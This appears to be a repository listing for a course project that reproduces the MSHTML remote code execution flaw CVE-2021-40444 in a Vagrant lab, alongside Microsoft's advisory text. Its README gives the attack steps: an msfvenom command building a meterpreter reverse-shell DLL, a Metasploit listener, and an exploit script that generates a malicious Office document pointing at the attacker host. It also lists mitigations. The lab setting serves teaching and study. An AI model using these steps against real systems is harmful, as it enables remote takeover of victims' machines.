CVE-2021-40444 PoC — Microsoft MSHTML Remote Code Execution Vulnerability

Source

https://github.com/Jeromeyoung/TIC4301_Project

Associated Vulnerability

Title:Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Description:Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents. An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. Microsoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: “Suspicious Cpl File Execution”. Upon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs. Please see the Mitigations and Workaround sections for important information about steps you can take to protect your system from this vulnerability. UPDATE September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.

Description

TIC4301 Project - CVE-2021-40444

Readme

# TIC4301_Project
TIC4301 Project - CVE-2021-40444

Download the following vagrant boxes: \
Kali  -  https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing \
Win10 -  https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

Import the boxes with the following commands through vagrant:
  1. vagrant box add kali_package.box
  2. vagrant box add victim_package.box
  3. vagrant init kali_package.box
  4. vagrant init victim_package.box
  5. vagrant up

Setup (win10):
  1. In the win10 box, log in as administrator with the password vagrant.
  2. Right click script.ps1 on the desktop and run with powershell. (Leave this open)
  3. Run ipconfig.exe and obtain the address for this host.

Setup (Kali):
1. cd Desktop/CVE-2021-40444.
2. generate your malicious dll with msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. start a listener in metasploit.
4. generate the malicious document. # python3 exploit.py generate test/calc.dll http://<kali IP>
  5. visit http://<win 10 IP>/upload and upload the file.
  6. listen for the shell.
  
Mitigations:
  1. Install KB5005565 hotfix.
  2. Edit windows registry with patch.reg in the repository.

File Snapshot

Remarks

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